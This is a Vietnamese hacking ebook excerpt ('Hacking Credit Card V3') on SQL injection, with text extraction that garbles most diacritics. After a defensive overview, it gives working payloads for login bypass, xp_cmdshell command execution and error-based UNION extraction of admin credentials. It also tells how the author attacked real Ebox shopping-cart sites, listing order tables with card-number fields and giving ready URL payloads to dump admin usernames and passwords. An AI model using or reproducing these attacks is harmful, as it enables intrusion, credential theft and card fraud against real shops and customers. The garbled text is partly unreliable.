Tải bản đầy đủ (.pdf) (28 trang)

Tài liệu hướng dẫn SQL injection vietnamese

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (515.22 KB, 28 trang )

Author: Hieupc
Publisher: TheGioiEbook®
Title: Ebook Hacking Credit Card Version 3 (EHCC V3)
Language: Vietnamese
Contact :
Y!M: hieuitpc


Gi i thi u v SQL Injection
T N CÔNG KI U SQL INJECTION TÁC H I VÀ PHÒNG TRÁNH
Tác gi : Lê ình Duy
1. SQL Injection là gì?

Khi tri n khai các ng d ng web trên Internet, nhi u ng i v n ngh r ng vi c đ m b o an
toàn, b o
m t nh m gi m thi u t i đa kh n ng b t n công t các tin t c ch đ n thu n t p trung vào
các v n
đ nh ch n h đi u hành, h qu n tr c s d li u, webserver s ch y ng d ng, ... mà quên
m t
r ng ngay c b n thân ng d ng ch y trên đó c ng ti m n m t l h ng b o m t r t l n. M t
trong
s các l h ng này đó là SQL injection. T i Vi t Nam, đã qua th i kì các qu n tr website l
là vi c
quét virus, c p nh t các b n vá l i t các ph n m m h th ng, nh ng vi c ch m sóc các l i
c a các
ng d ng l i r t ít đ c quan tâm. ó là lí do t i sao trong th i gian v a qua, không ít
website t i
Vi t Nam b t n công và đa s đ u là l i SQL injection [1]. V y SQL injection là gì ?
SQL injection là m t k thu t cho phép nh ng k t n công l i d ng l h ng trong vi c ki m
tra d
li u nh p trong các ng d ng web và các thông báo l i c a h qu n tr c s d li u đ "tiêm


vào"
(inject) và thi hành các câu l nh SQL b t h p pháp (không đ c ng i phát tri n ng d ng
l ng
tr c). H u qu c a nó r t tai h i vì nó cho phép nh ng k t n công có th th c hi n các thao
tác
xóa, hi u ch nh, … do có toàn quy n trên c s d li u c a ng d ng, th m chí là server mà
ng
d ng đó đang ch y. L i này th ng x y ra trên các ng d ng web có d li u đ c qu n lí
b ng các
h qu n tr c s d li u nh SQL Server, MySQL, Oracle, DB2, Sysbase.
2. Các d ng t n công b ng SQL Injection

Có b n d ng thông th ng bao g m: v t qua ki m tra lúc đ ng nh p (authorization bypass),
s
d ng câu l n SELECT, s d ng câu l nh INSERT, s d ng các stored-procedures [2], [3].
2.1. D ng t n công v

t qua ki m tra đ ng nh p

V i d ng t n công này, tin t c có th d dàng v t qua các trang đ ng nh p nh vào l i khi
dùng
các câu l nh SQL thao tác trên c s d li u c a ng d ng web.
Xét m t ví d đi n hình, thông th ng đ cho phép ng i dùng truy c p vào các trang web
đ c
b o m t, h th ng th ng xây d ng trang đ ng nh p đ yêu c u ng i dùng nh p thông tin v
tên


đ ng nh p và m t kh u. Sau khi ng i dùng nh p thông tin vào, h th ng s ki m tra tên
đ ng nh p

và m t kh u có h p l hay không đ quy t đ nh cho phép hay t ch i th c hi n ti p.
Trong tr ng h p này, ng i ta có th dùng hai trang, m t trang HTML đ hi n th form
nh p li u
và m t trang ASP dùng đ x lí thông tin nh p t phía ng i dùng. Ví d :
login.htm
<form action="ExecLogin.asp" method="post">
Username: <input type="text" name="fUSRNAME">

Password: <input type="password" name="fPASSWORD">

<input type="submit">
</form>
2
execlogin.asp
<%
Dim vUsrName, vPassword, objRS, strSQL
vUsrName = Request.Form("fUSRNAME")
vPassword = Request.Form("fPASSWORD")
strSQL = "SELECT * FROM T_USERS " & _
"WHERE USR_NAME=' " & vUsrName & _
" ' and USR_PASSWORD=' " & vPassword & " ' "
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."
If (objRS.EOF) Then
Response.Write "Invalid login."
Else
Response.Write "You are logged in as " & objRS("USR_NAME")
End If
Set objRS = Nothing
%>
Tho t nhìn, đo n mã trong trang execlogin.asp d ng nh không


ch a b t c m t l h ng v
an toàn
nào. Ng i dùng không th đ ng nh p mà không có tên đ ng nh p và m t kh u h p l . Tuy
nhiên,
đo n mã này th c s không an toàn và là ti n đ cho m t l i SQL injection. c bi t, ch s
h
n m ch d li u nh p vào t ng i dùng đ c dùng đ xây d ng tr c ti p câu l nh SQL.
Chính
đi u này cho phép nh ng k t n công có th đi u khi n câu truy v n s đ c th c hi n. Ví
d ,n u
ng i dùng nh p chu i sau vào trong c 2 ô nh p li u username/password c a trang login.htm
là:
' OR ' ' = ' '. Lúc này, câu truy v n s đ c g i th c hi n là:
SELECT * FROM T_USERS WHERE USR_NAME ='' OR ''='' and USR_PASSWORD= '' OR ''=''

Câu truy v n này là h p l và s tr v t t c các b n ghi c a T_USERS và đo n mã ti p theo
x lí
ng i dùng đ ng nh p b t h p pháp này nh là ng i dùng đ ng nh p h p l .
2.2. D ng t n công s

d ng câu l nh SELECT

D ng t n công này ph c t p h n.
th c hi n đ c ki u t n công này, k t n công ph i có
kh
n ng hi u và l i d ng các s h trong các thông báo l i t h th ng đ dò tìm các đi m y u
kh i
đ u cho vi c t n công.



Xét m t ví d r t th ng g p trong các website v tin t c. Thông th ng, s có m t trang
nh n ID
c a tin c n hi n th r i sau đó truy v n n i dung c a tin có ID này. Ví d :
Mã ngu n cho ch c n ng này th ng đ c vi t
khá
đ n gi n theo d ng
<%
Dim vNewsID, objRS, strSQL
vNewsID = Request("ID")
strSQL = "SELECT * FROM T_NEWS WHERE NEWS_ID =" & vNewsID
3
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."
Set objRS = Nothing
%>

Trong các tình hu ng thông th ng, đo n mã này hi n th n i dung c a tin có ID trùng v i ID
đã
ch đ nh và h u nh không th y có l i. Tuy nhiên, gi ng nh ví d đ ng nh p tr c, đo n
mã này
đ l s h cho m t l i SQL injection khác. K t n công có th thay th m t ID h p l b ng
cách
gán ID cho m t giá tr khác, và t đó, kh i đ u cho m t cu c t n công b t h p pháp, ví d
nh : 0
OR 1=1 (ngh a là, or 1=1).
Câu truy v n SQL lúc này s tr v t t c các article t b ng d li u vì nó s th c hi n câu
l nh:
SELECT * FROM T_NEWS WHERE NEWS_ID=0 or 1=1

M t tr ng h p khác, ví d nh trang tìm ki m. Trang này cho phép ng

các
thông tin tìm ki m nh H , Tên, … o n mã th ng g p là:

i dùng nh p vào

<%
Dim vAuthorName, objRS, strSQL
vAuthorName = Request("fAUTHOR_NAME")
strSQL = "SELECT * FROM T_AUTHORS WHERE AUTHOR_NAME =' " & _
vAuthorName & " ' "
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."

Set objRS = Nothing
%>

T ng t nh trên, tin t c có th l i d ng s h trong câu truy v n SQL đ nh p vào tr
tên tác
gi b ng chu i giá tr :
' UNION SELECT ALL SELECT OtherField FROM OtherTable WHERE ' '=' (*)

ng

Lúc này, ngoài câu truy v n đ u không thành công, ch ng trình s th c hi n thêm l nh ti p
theo
sau t khóa UNION n a.
T t nhiên các ví d nói trên, d ng nh không có gì nguy hi m, nh ng hãy th t ng t ng
k t n
công có th xóa toàn b c s d li u b ng cách chèn vào các đo n l nh nguy hi m nh l nh
DROP

TABLE. Ví d nh : ' DROP TABLE T_AUTHORS --


Ch c các b n s th c m c là làm sao bi t đ c ng d ng web b l i d ng này đ c. R t đ n
gi n,
hãy nh p vào chu i (*) nh trên, n u h th ng báo l i v cú pháp d ng: Invalid object name
“OtherTable”; ta có th bi t ch c là h th ng đã th c hi n câu SELECT sau t khóa UNION, vì
nh
v y m i có th tr v l i mà ta đã c tình t o ra trong câu l nh SELECT.
C ng s có th c m c là làm th nào có th bi t đ c tên c a các b ng d li u mà th c hi n
các thao
tác phá ho i khi ng d ng web b l i SQL injection. C ng r t đ n gi n, b i vì trong SQL
Server, có
hai đ i t ng là sysobjects và syscolumns cho phép li t kê t t c các tên b ng và c t có trong
h
th ng. Ta ch c n ch nh l i câu l nh SELECT, ví d nh :
' UNION SELECT name FROM sysobjects WHERE xtype = 'U' là có th li t kê đ c tên t t c
các
b ng d li u.
4

2.3. D ng t n công s

d ng câu l nh INSERT

Thông th ng các ng d ng web cho phép ng i dùng đ ng kí m t tài kho n đ tham gia.
Ch c
n ng không th thi u là sau khi đ ng kí thành công, ng i dùng có th xem và hi u ch nh
thông tin
c a mình. SQL injection có th đ c dùng khi h th ng không ki m tra tính h p l c a thông

tin
nh p vào.
Ví d , m t câu l nh INSERT có th có cú pháp d ng: INSERT INTO TableName VALUES('Value
One',
'Value Two', 'Value Three'). N u đo n mã xây d ng câu l nh SQL có d
<%
strSQL = "INSERT INTO TableName VALUES(' " & strValueOne & " ', ' " _
& strValueTwo & " ', ' " & strValueThree & " ') "
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."

Set objRS = Nothing
%>

ng :

Thì ch c ch n s b l i SQL injection, b i vì n u ta nh p vào tr

ng th nh t ví d nh : ' +
(SELECT
TOP 1 FieldName FROM TableName) + '. Lúc này câu truy v n s là: INSERT INTO TableName
VALUES(' ' + (SELECT TOP 1 FieldName FROM TableName) + ' ', 'abc', 'def'). Khi đó, lúc th c
hi n
l nh xem thông tin, xem nh b n đã yêu c u th c hi n thêm m t l nh n a đó là: SELECT TOP
1
FieldName FROM TableName

2.4. D ng t n công s

d ng stored-procedures


Vi c t n công b ng stored-procedures s gây tác h i r t l n n u ng d ng đ c th c thi v i
quy n
qu n tr h th ng 'sa'. Ví d , n u ta thay đo n mã tiêm vào d ng: ' ; EXEC xp_cmdshell
‘cmd.exe
dir C: '. Lúc

phá

này h th ng s th c hi n l nh li t kê th m c trên đ a C:\ cài đ t server. Vi c


ho i ki u nào tu thu c vào câu l nh đ ng sau cmd.exe.
3. Cách phòng tránh

Nh v y, có th th y l i SQL injection khai thác nh ng b t c n c a các l p trình viên phát
tri n ng
d ng web khi x lí các d li u nh p vào đ xây d ng câu l nh SQL. Tác h i t l i SQL
injection
tùy thu c vào môi tr ng và cách c u hình h th ng. N u ng d ng s d ng quy n dbo
(quy n c a
ng i s h u c s d li u - owner) khi thao tác d li u, nó có th xóa toàn b các b ng d
li u, t o
các b ng d li u m i, … N u ng d ng s d ng quy n sa (quy n qu n tr h th ng), nó có
th đi u
khi n toàn b h qu n tr c s d li u và v i quy n h n r ng l n nh v y nó có th t o ra
các tài
kho n ng i dùng b t h p pháp đ đi u khi n h th ng c a b n.
phòng tránh, ta có th
th c hi n

hai m c:
3.1. Ki m soát ch t ch d li u nh p vào

phòng tránh các nguy c có th x y ra, hãy b o v các câu l nh SQL là b ng cách ki m
soát ch t
ch t t c các d li u nh p nh n đ c t đ i t ng Request (Request, Request.QueryString,
Request.Form, Request.Cookies, and Request.ServerVariables). Ví d , có th gi i h n chi u
dài c a
chu i nh p li u, ho c xây d ng hàm EscapeQuotes đ thay th các d u nháy đ n b ng 2 d u
nháy
đ n nh :
<%
Function EscapeQuotes(sInput)
sInput = replace(sInput, " ' ", " ' ' ")
EscapeQuotes = sInput
5
End Function
%>

Trong tr ng h p d li u nh p vào là s , l i xu t phát t vi c thay th m t giá tr đ c tiên
đoán là
d li u s b ng chu i ch a câu l nh SQL b t h p pháp.
tránh đi u này, đ n gi n hãy ki m
tra
d li u có đúng ki u hay không b ng hàm IsNumeric().
Ngoài ra có th xây d ng hàm lo i b m t s kí t và t khóa nguy hi m nh : ;, --, select,
insert,
xp_, … ra kh i chu i d li u nh p t phía ng i dùng đ h n
<%
Function KillChars(sInput)

dim badChars
dim newChars
badChars = array("select", "drop", ";", "--", "insert", "delete", "xp_")
newChars = strInput
for i = 0 to uBound(badChars)
newChars = replace(newChars, badChars(i), "")
next
KillChars = newChars

ch các t n công d ng này:


End Function
%>

3.2. Thi t l p c u hình an toàn cho h qu n tr c s d li u

C n có c ch ki m soát ch t ch và gi i h n quy n x lí d li u đ n tài kho n ng i dùng
mà ng
d ng web đang s d ng. Các ng d ng thông th ng nên tránh dùng đ n các quy n nh dbo
hay sa.
Quy n càng b h n ch , thi t h i càng ít.
Ngoài ra đ tránh các nguy c t SQL Injection attack, nên chú ý lo i b b t kì thông tin k
thu t
nào ch a trong thông đi p chuy n xu ng cho ng i dùng khi ng d ng có l i. Các thông báo
l i
thông th ng ti t l các chi ti t k thu t có th cho phép k t n công bi t đ c đi m y u c a
h
th ng.



S u t m trên Internet t
t

bài vi t nguyên thu "SQL

bài đ

c d ch và s a đ i

Injection Walkthrough" c

a />
1. SQL Injection là gì?
SQL Injection là m t trong nh ng ki u hack web đang d n tr nên ph bi n hi n nay.
B ng cách inject các mã SQL query/command vào input tr c khi chuy n cho ng d ng
web x lí, b n có th login mà không c n username và password, remote execution,
dump data và l y root c a SQL server. Công c dùng đ t n công là m t trình duy t web
b t kì, ch ng h n nh Internet Explorer, Netscape, Lynx, ...

2. Tìm ki m m c tiêu
Có th tìm các trang web cho phép submit d li u b t kì m t trình tìm ki m nào trên
m ng, ch ng h n nh các trang login, search, feedback, ...
Ví d :
/>
M t s trang web chuy n tham s qua các field n, ph i xem mã HTML m i th y rõ. Ví
d nh
d i.
<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>

</FORM>

3. Ki m tra ch y u c a trang web
Th submit các field username, password ho c field id, .. b ng hi' or 1=1-•



Login: hi' or 1=1-Password: hi' or 1=1- or 1=1--

N u site chuy n tham s qua field n, hãy download source HTML, l u trên đ a c ng và
thay đ i l i URL cho phù h p. Ví d :
<FORM action= method=post>
<input type=hidden name=A value="hi' or 1=1--">
</FORM>

N u thành công, thì có th login vào mà không c n ph i bi t username và password

4. T i sao ' or 1=1-- có th v
nh p?

t qua ph n ki m tra đ ng


Gi s nh có m t trang ASP liên k t đ n m t ASP trang khác v i URL nh sau:
/>
Trong URL trên, bi n 'category' đ
nh sau (đây ch là ví d thôi):

c gán giá tr là 'food'. Mã ASP c a trang này có th


v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)

v_cat s ch a giá tr c a bi n request("category") là 'food' và câu l nh SQL ti p theo s
là:
SELECT * FROM product WHERE PCategory='food'

Dòng query trên s tr v m t t p resultset ch a m t ho c nhi u dòng phù h p v i đi u
ki n WHERE PCategory='food'
N u thay đ i URL trên thành or 1=1-- ,
bi n v_cat s ch a giá tr "food' or 1=1-- " và dòng l nh SQL query s là:
SELECT * FROM product WHERE PCategory='food' or 1=1--'

Dòng query trên s select m i th trong b ng product b t ch p giá tr c a tr ng
PCategory có b ng 'food' hay không. Hai d u g ch ngang (--) ch cho MS SQL server bi t
đã h t dòng query, m i th còn l i sau "--" s b b qua. i v i MySQL, hãy thay "--"
thành "#"
Ngoài ra, c ng có th th cách khác b ng cách submit ' or 'a'='a. Dòng SQL query bây
gi s là:
SELECT * FROM product WHERE PCategory='food' or 'a'='a'

M t s lo i d li u khác mà c ng nên th submit đ bi t xem trang web có g p l i hay
không:
' or 1=1-" or 1=1-or 1=1-' or 'a'='a
" or "a"="a
') or ('a'='a


5. Thi hành l nh t xa b ng SQL Injection

N u cài đ t v i ch đ m c đ nh mà không có đi u ch nh gì, MS SQL Server s ch y
m c SYSTEM, t ng đ ng v i m c truy c p Administrator trên Windows. Có th dùng
store procedure xp_cmdshell trong CSDL master đ thi hành l nh t xa:
'; exec master..xp_cmdshell 'ping 10.10.1.2'--

Hãy th dùng d u nháy đôi (") n u d u nháy đ n (') không làm vi c.
D u ch m ph y (s k t thúc dòng SQL query hi n t i và cho phép thi hành m t SQL
command m i.
ki m tra xem l nh trên có đ c thi hành hay không, có th listen các
ICMP packet t 10.10.1.2 b ng tcpdump nh sau:
#tcpdump icmp

N u nh n đ

c ping request t 10.10.1.2 ngh a là l nh đã đ

c thi hành.

6. Nh n output c a SQL query
Có th dùng sp_makewebtask đ ghi các output c a SQL query ra m t file HTML
'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT
* FROM INFORMATION_SCHEMA.TABLES"

Chú ý: folder "share" ph i đ

c share cho Everyone tr

c.

7. Nh n d li u qua 'database using ODBC error

message'
Các thông báo l i c a MS SQL Server th ng đ a cho b n nh ng thông tin quan tr ng.
L y ví d
trên bây gi chúng ta th h p nh t
integer '10' v i m t string khác l y t CSDL:
UNION SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES--

B ng INFORMATION_SCHEMA.TABLES c a h th ng SQL Server ch a thông tin v
t t c các b ng (table) có trên server. Tr ng TABLE_NAME ch a tên c a m i b ng
trong CSDL. Chúng ta ch n nó b i vì chúng ta bi t r ng nó luôn t n t i. Query c a chúng
ta là:
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Dòng query này s tr v tên c a b ng đ u tiên trong CSDL


Khi chúng ta k t h p chu i này v i s integer 10 qua statement UNION, MS SQL Server
s c th chuy n m t string (nvarchar) thành m t s integer. i u này s g p l i n u nh
không chuy n đ c nvarchar sang int, server s hi n thông báo l i sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value 'table1' to a column of data type int.
/index.asp, line 5

Thông báo l i trên cho bi t giá tr mu n chuy n sang integer nh ng không đ c,
"table1". ây c ng chính là tên c a b ng đ u tiên trong CSDL mà chúng ta đang mu n
có.
l y tên c a tên c a b ng ti p theo, có th dùng query sau:
UNION SELECT TOP 1 TABLE_NAME FROM

INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

C ng có th th tìm d li u b ng cách khác thông qua statement LIKE c a câu l nh SQL:
UNION SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

Khi đó thông báo l i c a SQL Server có th là:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value 'admin_login' to a column of data type int.
/index.asp, line 5

M u so sánh '%25login%25' s t ng đ ng v i %login% trong SQL Server. Nh th y
trong thông báo l i trên, chúng ta có th xác đ nh đ c tên c a m t table quan tr ng là
"admin_login".

8. Xác đ nh tên c a các column trong table
Table INFORMATION_SCHEMA.COLUMNS ch a tên c a t t c các column trong
table. Có th khai thác nh sau:
UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

Khi đó thông báo l i c a SQL Server có th nh sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'


[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value 'login_id' to a column of data type int.
/index.asp, line 5


Nh v y tên c a column đ u tiên là "login_id".
th dùng m nh đ logic NOT IN () nh sau:

l y tên c a các column ti p theo, có

UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE
COLUMN_NAME NOT IN ('login_id')--

Khi đó thông báo l i c a SQL Server có th nh sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value 'login_name' to a column of data type int.
/index.asp, line 5

Làm t ng t nh trên, có th l y đ c tên c a các column còn l i nh "password",
"details". Khi đó ta l y tên c a các column này qua các thông báo l i c a SQL Server,
nh ví d sau:
UNION SELECT TOP 1 COLUMN_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE
COLUMN_NAME NOT IN ('login_id','login_name','password',details')--

Khi đó thông báo l i c a SQL Server có th nh sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must
appear in the select list if the statement contains a UNION operator.
/index.asp, line 5

9. Thu th p các d li u quan tr ng
Chúng ta đã xác đ nh đ c các tên c a các table và column quan tr ng. Chúng ta s thu

th p các thông tin quan tr ng t các table và column này.
Có th l y login_name đ u tiên trong table "admin_login" nh sau:
UNION SELECT TOP 1 login_name FROM
admin_login--

Khi đó thông báo l i c a SQL Server có th nh sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'


[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value 'neo' to a column of data type int.
/index.asp, line 5

D dàng nh n ra đ c admin user đ u tiên có login_name là "neo". Hãy th l y password
c a "neo" nh sau:
UNION SELECT TOP 1 password FROM
admin_login where login_name='neo'--

Khi đó thông báo l i c a SQL Server có th nh sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value 'm4trix' to a column of data type int.
/index.asp, line 5

Và bây gi là đã có th login vào v i username là "neo" và password là "m4trix".

10. Nh n các numeric string
Có m t h n ch nh đ i v i ph ng pháp trên. Chúng ta không th nh n đ c các error
message n u server có th chuy n text đúng d ng s (text ch ch a các kí t s t 0 đ n
9). Gi s nh password c a "trinity" là "31173". V y n u ta thi hành l nh sau:

UNION SELECT TOP 1 password FROM
admin_login where login_name='trinity'--

Thì khi đó ch nh n đ c thông báo l i "Page Not Found". Lý do b i vì server có th
chuy n passoword "31173" sang d ng s tr c khi UNION v i integer 10.
gi i quy t
v n đ này, chúng ta có th thêm m t vài kí t alphabet vào numeric string này đ làm
th t b i s chuy n đ i t text sang s c a server. Dòng query m i nh sau:
UNION SELECT TOP 1 convert(int,
password%2b'%20morpheus') FROM admin_login where login_name='trinity'--

Chúng ta dùng d u c ng (+) đ n i thêm text vào password (ASCII code c a '+' là 0x2b).
Chúng ta thêm chu i '(space)morpheus' vào cu i password đ t o ra m t string m i
không ph i numeric string là '31173 morpheus'. Khi hàm convert() đ c g i đ chuy n
'31173 morpheus' sang integer, SQL server s phát l i ODBC error message sau:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the nvarchar value '31173 morpheus' to a column of data type int.
/index.asp, line 5


Và ngh a là bây gi ta c ng có th login vào v i username 'trinity' và password là '31173'

11. Thay đ i d li u (Update/Insert) c a CSDL
Khi đã có tên c a t t c các column trong table, có th s d ng statement UPDATE ho c
INSERT đ s a đ i/t o m i m t record vào table này.
thay đ i password c a "neo", có th làm nh sau:
UPDATE 'admin_login' SET 'password'
= 'newpas5' WHERE login_name='neo'--


Ho c n u b n mu n m t record m i vào table:
INSERT INTO 'admin_login'
('login_id', 'login_name', 'password', 'details') VALUES
(666,'neo2','newpas5','NA')--

Và bây gi có th login vào v i username "neo2" và password là "newpas5"

12. Ng n ch n SQL Injection
Hãy lo i b các kí t meta nh '"/\; và các kí t extend nh NULL, CR, LF, ... trong các
string nh n đ c t :




input do ng i dùng đ trình
các tham s t URL
các giá tr t cookie

i v i các giá tr numeric, hãy chuy n nó sang integer tr
ISNUMERIC đ ch c ch n nó là m t s integer.

c khi query SQL, ho c dùng

Thay đ i "Startup and run SQL Server" dùng m c low privilege user trong tab SQL
Server Security.
Xóa các stored procedure trong database master mà không dùng nh :






xp_cmdshell
xp_startmail
xp_sendmail
sp_makewebtask

13. Ng n ch n SQL Injection trong ASP.NET
Các cách th c ng n ch n SQL Injection đ c trình bày ph n 12 đã bao quát đ ph ng
pháp, nh ng trong ASP.NET có cách ng n ch n đ n gi n là s d ng các Parameters khi


làm vi c v i object SqlCommand (ho c OleDbCommand) ch không s d ng các câu
l nh SQL tr c ti p. Khi đó .NET s t đ ng validate ki u d li u, n i dung d li u tr c
khi th c hi n câu l nh SQL.
Ngoài ra, c ng c n ki m soát t t các thông báo l i. Và m c đ nh trong ASP.NET là thông
báo l i s không đ c thông báo chi ti t khi không ch y trên localhost.

Các t khóa SQL
Ngu n: />T khóa SQL chia thành nhi u nhóm:

L yd

li u

Thao tác s d ng nhi u nh t trong m t c s d li u d a trên giao d ch là thao tác l y d
li u.


SELECT đ c s d ng đ l y d li u t m t ho c nhi u b ng trong c s d li u,
SELECT là l nh th ng dùng nh t c a ngôn ng s a đ i d li u (t m d ch) (ti ng


Anh: Data Manipulation Language - DML). Trong vi c t o ra câu truy v n
SELECT, ng i s d ng ph i đ a ra mô t cho nh ng d li u mình mu n l y ra


ch không ch ra nh ng hành đ ng v t lý nào b t bu c ph i th c hi n đ l y ra k t
qu đó. H th ng c s d li u, hay chính xác h n là b t i u hóa câu truy v n s
d ch t câu truy v n sang k ho ch truy v n t i u.

o

Nh ng t khóa liên quan t i SELECT bao g m:
̇ FROM dùng đ ch đ nh d li u s đ c l y ra t nh ng b ng nào,
và các b ng đó quan h v i nhau nh th nào.
̇ WHERE dùng đ xác đ nh nh ng b n ghi nào s đ c l y ra, ho c áp
d ng v i GROUP BY.
̇ GROUP BY dùng đ k t h p các b n ghi có nh ng giá tr liên quan
v i nhau thành các ph n t c a m t t p h p nh h n các b n ghi.
̇ HAVING dùng đ xác đ nh nh ng b n ghi nào, là k t qu t t khóa
GROUP BY, s đ c l y ra.
̇ ORDER BY dùng đ xác đ nh d li u l y ra s đ c s p x p theo
nh ng c t nào.

S a đ i d li u
Ngôn ng s a đ i d li u (Data Manipulation Language - DML), là môt ph n nh c a
ngôn ng , có nh ng thành ph n tiêu chu n dùng đ thêm, c p nh t và xóa d li u delete
data.







INSERT dùng đ thêm d li u vào m t b ng đã t n t i.
UPDATE dùng đ thay đ i giá tr c a m t t p h p các b n ghi trong m t b ng.
MERGE dùng đ k t h p d li u c a nhi u b ng. Nó đ c dùng nh vi c k t h p
gi a hai ph n t INSERT và UPDATE .
DELETE xóa nh ng b n ghi t n t i trong m t b ng.
TRUNCATE Xóa toàn b d li u trong m t b ng (không ph i là tiêu chu n, nh ng

là m t l nh SQL ph bi n).

Giao d ch d

li u

Giao d ch, n u có, dùng đ bao b c các thao tác s a đ i d li u.





BEGIN WORK (ho c START TRANSACTION, tùy theo các ngôn ng SQL khác nhau)

đ c s d ng đ đánh d u vi c b t đ u m t giao d ch d li u (giao d ch d li u đó
có k t thúc hoàn toàn hay không).
COMMIT dùng đ l u l i nh ng thay đ i trong giao d ch.
ROLLBACK dùng đ quay l i th i đi m s d ng l nh COMMIT cu i cùng.



Exploit Ebox Shopping Cart (SQL Injection)
(Có phiên b n đ

c trình bày b ng hình nh)

Tác gi : hieupc

Có th nói đây là bài đáng chú ý nh t trong Ebook này, vì l i này v a mang tính c đi n
v a mang tính t duy và c ng v i s tìm tòi, may m n, và c kinh nghi m.
Gi i thi u s v Ebox: Ebox là m t shop s d ng MS SQL Server và ASP, đ
khá gi ng v i các Shopping Cart khác: VPASP, X-Cart…

c xem là

11 h 00: Tình c hieupc đ c m t ng i b n nh exploit th shop này vì nó b m c l i
khá nghiêm tr ng SQL Injection. Và lúc đ u có ph n h i khó kh n vì ch a n m rõ đ c
shop này c u trúc Database và Table nó nh th nào.
11 h 15: Sau m t h i search google , hieupc tìm ra đ c khá nhi u trang c a lo i Shop
Ebox này, m c tiêu c a hieupc là exploit shop : , nh ng không


bi t table c a nó th nào và đành ph i đi tìm m t shop Ebox t ng t khác nh ng có th
exploit ra table và hieupc tìm ra đ c shop : .
11 h 45: Vi c exploit table và column di n ra khá lâu (Xem trong EHCC V1 và V2), cu i
cùng c ng đã l y đ c nh ng thông tin c n thíêt cho m c tiêu ban đ u, và đem qua
exploit shop
'tblBundle','Admin','affiliates','Commission','dtproperties','errorlog','Hits','sysconstraints','
syssegments','tblAdminUser','tblAdverts','tblCategory','tblCheckout','tblCheckoutEbox','
tblConfirmation','tblHelp','tblLayout','tblManufacturer','tblMeta','tblNews','tblNewsLetter'
,'tblOrder','tblOrder_Temp','tblOrders','tblOrderStatus','tblPages','tblPostage','tblPost

ageChoice','tblProducts','tblProducts_Temp','tblSatus','tblStandardText','tblSubCat','tblSu
bMan','tblTime','tblTop10','tblUsers','wapman'
c bi t chúng ta nên chú ý đ n các table đ
có th không quan tâm.

c tô đ m màu đ

trên, m y table khác ta

12 h 00: Mu n cho vi c exploit đ c nhanh chóng cho nên hieupc ch c n l y username
và password Admin c a Shop Ebox là đ . Còn các b n n u mu n l y t ng thông tin riêng
thì có th exploit các table : 'tblUsers' 'tblOrders' …. đ l y đ c thông tin mình c n.
'tblUsers' :
'userID','userDate','userUserName','userPassword','userRealName','userSurname','userStat
ementStreet1','userStatementStreet2','userStatementTown','userStatementCounty','userSta
tementPostcode','userDeliveryAddress','userDeliveryPostcode','userTelephone','userFax','
userMobile','userNewsletterSubscribe','orderBundleDetails','sageimported','usercode'
'tblOrders':
'ID','orderID','orderUserID','orderCardType','orderCardNumber','orderCardNameonCard','
orderCardStartMonth','orderCardStartYear','orderCardExpiryMonth','orderCardExpiryYe
ar','orderIssueNumber','orderSecurityCode','orderDate','orderComments','orderStatus'
12 h 15: Ban đ u hieupc c ng table: 'Admin' là c n đ c khai thác đ l y thông tin c a
username và password nh ng thông tin trong đó không ph i c a Admin, hieupc c ng đã
th login nh ng th t b i.
('ID','Password','URL','Email','Fixedrate','Percentrate','Percentage','Minimum')
12 h 30: Sau đó hieupc chuy n sang exploit table : 'tblAdminUser' , thu đ c c ng khá
nhi u comlun khác, và ch c ch n cái này s ch a Username và Password đúng c a
Admin, hieupc đã th login và thành công nh mong mu n.
'tblAdminUser'
'userID','adminUsername','adminPassword','adminEmail','adminHide'



12 h 45: Cu i cùng thì hieupc c ng có đ c username và password đ login vào
Administration Shop c a , ch b ng 2 m i tiêm đ n gi n mà hi u
qu , ho c ta ch c n dùng m t m i tiêm mà có t i 2 lo i thu c ('adminUsername' ,
'adminPassword') tuy nhiên không khuy n khích dùng lo i này.
l y Username:
%20union%20%20select%201,2,adminUsername,4,5,6,7,8,9,10,11,12,13%20from%20tb
lAdminUser%22having%201=1--sp_password
l y Password:
%20union%20%20select%201,2,adminPassword,4,5,6,7,8,9,10,11,12,13%20from%20tbl
AdminUser%22having%201=1--sp_password
